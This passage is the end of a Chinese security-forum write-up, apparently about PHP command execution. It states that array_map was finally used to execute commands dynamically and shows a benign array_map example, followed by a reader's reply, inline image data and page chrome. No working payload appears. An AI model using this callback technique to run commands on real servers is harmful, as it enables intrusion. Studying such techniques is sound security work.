1t0OUBgxn+rQEQl2rIrGqNJkln/zAwcRdpIyPpZdL6/qv2Y6qJPNEFhBIYHBLdtyEyQT4GmgmkaJT7m+d/TACvnokkUIIIYQQnVmbgxRKFfPf+1bwx711z3qufWoC304++0+ypaWVgANuLmdtViVtKxuOgsddCfQ/2wlWkZXybm58+ZAbCX4aKqkFfXcm2enklIAWG4UeOFXzgAcxd/+Lq2JOEuSsgFaeZabs4qgZnB++lQEBZ15+zaU3wx66n1RdGlajwiYRhfZwvl9fu8GMnuDB+5+tYVsaDGguUcjLGx/gQH4+lYrOVfn/RCqpFvDp1h2dnSLZZMZLr8dRcyCg5xjidYqgNqS4VB7dQ2Ix6EZcVhOgANDs9ITHdCXNye1MthRAnhGjBVz9/c8aoGhUhRFTPhCqp7k1CpSqxLRnAYvWHKbANYYJN04hxvMct9cClYUFlGsa+iaCFJWZJyjpNp4bLxtEsJsdZXtXU6hphBo6JvUjPzuZQ+s2kLQjnP4jLmNIryBcbV1uobKQwlLQIoOrA0yFFBYCAcEE1JlWpsjYuYWTlV7EjRtDaO1ULucuhAfBwZRyyurHI1vYf10nyTphAbcQglryPsg3YbaAnUGPzwW5v9UKqvdDr0cSKYQQQgjRmdkgk8KB3uMj+EvvqlulR07y9ubS
<p>最后使用的是</p>
<p><strong>array_map</strong></p>
<p>去动态执行命令</p>
<p>array_map — 为数组的每个元素应用回调函数</p>
<div class=highlight><pre><span></span><span class=o>&lt;?</span><span class=n>php</span>
<span class=n>function</span> <span class=nf>cube</span><span class=o>(</span><span class=n>$n</span><span class=o>)</span>
<span class=o>{</span>
<span class=k>return</span> <span class=o>(</span><span class=n>$n</span> <span class=o>*</span> <span class=n>$n</span> <span class=o>*</span> <span class=n>$n</span><span class=o>);</span>
<span class=o>}</span>
<span class=n>$a</span> <span class=o>=</span> <span class=o>[</span><span class=mi>1</span><span class=o>,</span> <span class=mi>2</span><span class=o>,</span> <span class=mi>3</span><span class=o>,</span> <span class=mi>4</span><span class=o>,</span> <span class=mi>5</span><span class=o>];</span>
<span class=n>$b</span> <span class=o>=</span> <span class=n>array_map</span><span class=o>(</span><span class=err>'</span><span class=n>cube</span><span class=err>'</span><span class=o>,</span> <span class=n>$a</span><span class=o>);</span>
<span class=n>print_r</span><span class=o>(</span><span class=n>$b</span><span class=o>);</span>
<span class=o>?&gt;</span>
</pre></div>
<p>可以发现第一个参数是接受函数的</p>
<p>最后效果如下</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20241015094058-870d465e-8a96-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOUAAAUdCAYAAAC36fdHAAEAAElEQVR4nOz9cWgbZ9bHj37z0hece1tQoPv7jWEXquKFOqQQh12wwvZyo5CFKDcvVMYLlclCqrSQKl1olZTbldMLrpwFV8lC63Sha6fQIhUa5EJ65UBypfyRRQr0RSp0f9ZCilRIQYIURuCABAmc+8fMSCNpRpqRZmRNfD4wNLVmnnnmzHnO8zxnnuecPX/4wx8IDMMwDMMwDMMwDMMwDMOMjP/a6QowDMMwDMMwDMMwDMMwzG6DnXIMwzAMwzAMwzAMwzAMM2Kemfi//992ug4MwzAMwzAMwzAMwzAMs6vglXIMwzAMwzAMwzAMwzAMM2L2EBEnemAYhmEYhmEYhmEYhmGYEcIr5RiGYRiGYRiGYRiGYRhmxLBTjmEYhmEYhmEYhmEYhmFGDDvlGIZhGIZhGIZhGIZhGGbEsFOOYRiGYRiGYRiGYRiGYUYMO+UYhmEYhmEYhmEYhmEYZsSwU45hGIZhGIZhGIZhGIZhRgw75RiGYRiGYRiGYRiGYRhmxLBTjmEYhmEYhmEYhmEYhmFGDDvlGIZhGIZhGIZhGIZhGGbEsFOOYRiGYRiGYRiGYRiGYUYMO+UYhmEYhmEYhmEYhmEYZsSwU45hGIZhGIZhGIZhGIZhRgw75RiGYRiGYRiGYRiGYRhmxLBTjmEYhmEYhmEYhmEYhmFGDDvlGIZhGIZhGIZhGIZhGGbEsFOOYRiGYRiGYRiGYRiGYUYMO+UYhmF2AY1aDbVaDY0nO12TXcQvReTuZJC5k0Hup8ZO14ZhGIZhdhEN1JSxz05XZQQ4e5xXwNU/HsXRP57HZnUn7m+9rjj7fZhjNz2rXTxjX9FlJF5fBj5YQ+AF++4yHE6oo8yjHC7/aQGxB15cvbkG/693ukL9aKBW6zBrz7jgetbiu3QZzwm4XBPmCnlUQ63DiEy4XDBZimmsqLslz8/YxvjoZw6X9x3GIoBojhCZNVcFQ+ygjRofOSvUkPvbHPx/zaA5tlzKgi56LKqvRfbV9DvTuG8/5Hp1P3M/VDJ50kDtUQNG5PRU2lUN3eyHru42aqj+VMRWpS7/YS8mp2cwLZiVURnFQhli8y/74J6Zhlstp0YNneoy8awLE2ZGnjvUPzPdPJVta7djRRvtV4YV9wBQvn4GJ/6SgfvdOJIXPMZswM8bCP5mARvwI/4gicDYz52GQX+c15Tde0kk35mxx34O/Z4bqN3OIAMXgib7O0vsiuW6MoJx99ig/6yNe5cxdyqG8pGryHzmh2DH7UdhgyyyYz0hWyhR8rSbABCmgpQs23OX4XBCHVXkolJdAfInKjtdm/48iJNfrm/zWMpafJMKxec77oEomb1LdqmzDD/FH1hc1S6sqHuWop0yno+TA7RjlzBO+tnSlWjO7LUG2TEbNU5ylmuU8EtlCF4KfpykdCZJq19vKXcavt1aZV/NvjOt+/Y7lrLaz9zvUMukWc9+7/XptKvdutnv0NDdSppWz/rIrXONcCBAsc0S1fvURby7SsEjgu69hUv51i2VdqA6zNqfnemfmW6saBfj17Z2O1a00X5lWHGPdttuwqY3+6zdYDf0xnkDys4kw79npf5m35VFdsVyXRnBuHts0H/WVh9uXxschQ2yxo71xoaVcmVs/mUBc5+Xpf/9cR1zr00g9dUqfC9Yf7fBcEIdOzjgw+rpDDYeeRE6Zouf2R6ORZB83wsXAExOD1bGkwbK/7uBjZwLC+/4VF52F7zvpZE+CwBFJLznsD5EVYOfphF4CQD2Yf/zQxRkCCvrHsRqJoBpAHhuvyRrZnQ8lfo5ADtmo8ZNzgXEVzbkspJYe9UFAPA2f5+GP5OGBwB+yWD5T8vIDFrZYe2rU/sVXdiualH+9hwW/ucqcvL/u2e98L7iw/SvKijeziJzO4fyvxM470vg6uk40p8F4NYYHZa/WsDhQEJa/Tnlgf+YF4fd+wBUULy5idSdIqpPWp+SXa8sIp0JAQCKXx3FuX8O/gxjb/+eEhq/FJH5dh21l2MI/E79i4V26ylqW45Ad4xibRv1XkwicsQFAJicMv97bwR4T4fhrxUweSqAmcGrOaY0UPtPBslrNRxasfr5BHhOWSS7EenSYLBdGQw7dQ+YObmK4N0NiK+E4Btq9aF+Pfvp3ijt3FBY6+MTKf2+R/sL6myE0g+tvdtgOKGOTwHKFwcrvoIqqyR6lqV46QdfIbNzXzIGrfvgz8xYiCP0c7d8sdtpORNRJUkBo18FB7WTVtrXoRlUt1pf7/uu0jO8Uk6rXk+nXW1+te2jA5WNYHN1nHAySukHGmvhHlco+7HqvFPJ7jLvr5EPIEAg35U8iVo3q1conStp1mPQ9rXz/fNuotUme8p7YPvjjLb11GFojDJ4W1NskZ4d7/e7rThlpVyznsO0jRHuiLBFl4ZdKTekXdmtK+WconsG69lP9+yyc1ZgYaKHGnIf+nD0bzntn+8t4+jJZeQeWXdH8zihjgzDMIxjedLYFQGlGQfwyyaib62jDEA4FUf2RgTeX2vE2XlGgOftNeQ3QhAAVL8MIfptre2U8p0ENgHg2CJi78xor0KYEOCddVv8EAzDMAzDME83FjnlGsh96MPhD3IQTkYQz2yhsk0gko56OYu1tz3AvUUcPjao06uB8vXzmPvTeWz+NA51HCDgtW45UsaSmpXOwEdymWbq2Ki1Ms9w9pShULLQOFqWg+hQH9RyMVLsTsqxdW92sQBQ6YPFtqovNtlIhnnKKXy+iKtVAEII61cC6Ocuc70aQ/yCAKCKqx+so6D6rVqVNyu69mGfPdUdPY+Gse8qu2QkickT9fmj7lMapvpdR2G1XE32c2bHNJZiwxhttzDo+G6wMalJW7FT7KiN2kUM2G5Z955+LHDKNZD70IvDH0irzw6/dg6BI9MQVFngJl7wIPhxBtmLM8C9Rfj/ZwDH3JMs1v90GRvXLyP4VaH/+bbWsYyE3419+/bixQ9yhpU89+Ee7NmzB3s+zAGoofDJAvZP7sW+ffuk47lJ7A9cRu4XjYt/TmBuzx7s2TOHxM9tpWJ5j1Tu8j0Av+Rw+U8vYs9zcpn79mLPb+dw9fsetfwlh8uB/Zjcu69Zl72/2Y+FTwqo/aR3X/tpysuzKP3h+gIm5Wfdifr0pVbExocL2D+5B3v3qWT53y/ixHsbKI+tc84CHepJDblPzuHEb9vlsm/vJPa/t4la5+mPytj8SEeOb13t0z6WobMOFtWv5iTd+VOilRGz7VpJpxr/SeC8d1J1772Y9HZ/DHCcfg5I7V9Xcc6n1od92PfcHrzoudo2ade2UVUk/qTIpNehIa8nVWQ+6rSRe/Ci7zwS/xnDTvvesvQsv1mAFFFuAwu/GXN90O1XmGEofHRI29aoqW3i3J492LPnEC5/b0ctcti8IrXQmXeD8BmKwzYBb+C8FKvl+xg277V+EV7wS/+4nkFWywaPOW3jr0dFrL+u2LS9Ur9nlF9yuPrWCby4R2WX9u3D3sn9OH+z1nV646dNaXz13+rz92LPb0/g3Ce57v4PaNmSHvrTPp5s0d7PNVD86jyOqm3o3kkcfXcTZfVFTTswiYXr0p8WPSr7/KFer7qDKO+hS66HcfV/zRbWQPGbZSy8PNndz/nWUew6v4bC5+e1xzSBZWxo9k+tvlBX3ywe5z9tYxQ9nTeD3vhu46ceFw0yJgWAR8qcoNtWnPtWatnN9tocNyzisGpsZMo29aCn7Ay0padNl0zzqIDL/zMpy2DAxUV67fZ/az3u63zd0517AYZ0b1T1tJ0f13G0V3v5cR1DJnpoIPe3E/B/oGrkjTJyX61j/eN1rN8rQzgQwOKX6wgdnIDnzfPwf7iAjTuL8AcmsJkIY+ZZ/dLbeGY/Dp12AzfdOH/MTEBrG+pYKyL7jaRa5W+zKC55TAZGFOVVe1V4TocR
</div>
<div class=post-user-action style=margin-top:34px>
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=15857>
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>1</span>
</span>
<span class="btn btn-default pull-right" id=follow_topic data-pk=15857>
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
</span>
<span class="btn btn-default pull-right">
<span>
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
</span>
</span>
<div class=clearfix></div>
</div>
<div class=related-section>
<div class=related-box>
<span><a class=pull-left href=https://xz.aliyun.com/t/15849 title=2024华为杯Crypto部分><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>2024华为杯Crypto部分</a></span>
<span><a class=pull-left href=https://xz.aliyun.com/t/15858 title=由dll劫持实现免杀><span class=related-label>下一篇:</span>由dll劫持实现免杀</a></span>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
<div class=modal-dialog>
<div class=modal-content>
<div class=modal-header>
<h4 class=modal-title id=myModalLabel style=text-align:center>
积分打赏
</h4>
</div>
<div class=modal-body id=button-value>
<div style=text-align:center>
<div role=group>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
1分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
2分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
5分
</button>
</div>
<br>
<div style=margin-top:20px>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
8分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
10分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
20分
</button>
</div>
</div>
</div>
<div class=modal-footer id=confirm>
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
<button type=button class="btn btn-primary" id=reward_topic data-pk=15857>确定</button>
</div>
</div>
</div>
</div>
<div class="row box">
<ol class=breadcrumb>
<li class=active>1 条回复</li>
</ol>
<div class="box-container post-container">
<ul class=post-info id=reply-20519>
<li>
<div class="row1 user-info clearfix">
<img class="avatar pull-left tiny-avatar" src="data:image/png;base64,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
<span class=post-info>
<a class="label label-default" href=https://xz.aliyun.com/u/33790>tteesstt</a>
<span class=bbs-time>2024-10-17 16:04:46</span>
<span>来自北京 </span>
</span>
<div class="post-content markdown-body">
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20241017160424-6c62a046-8c5e-1.png title><img src=data:image/png;base64,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
效果不错</p>
</div>
<div class=manual-box>
<span class=thumbs data-action=post data-pk=20519 data-topic=15857><i class="fa fa-thumbs-o-up"></i><span>1</span></span>
<span class="reply-jump reply reply-count" data-nickname=tteesstt>回复Ta</span>
</div>
</div>
<hr>
</li>
</ul>
</div>
</div>
<div class="row box" id=reply-box>
<div class="box-container clearfix">
<div class=reminder>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15857&amp;from_type=xianzhi"><strong>登录</strong></a> 后跟帖
</div>
</div>
</div>
</div>
</div>
</div>
<footer class=bs-docs-footer>
<div class="container text-center">
<div class=links>
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
<a href=https://xz.aliyun.com/connection>联系我们</a>
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
</div>
</div>
</footer>
<div id=waf_nc_block style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media 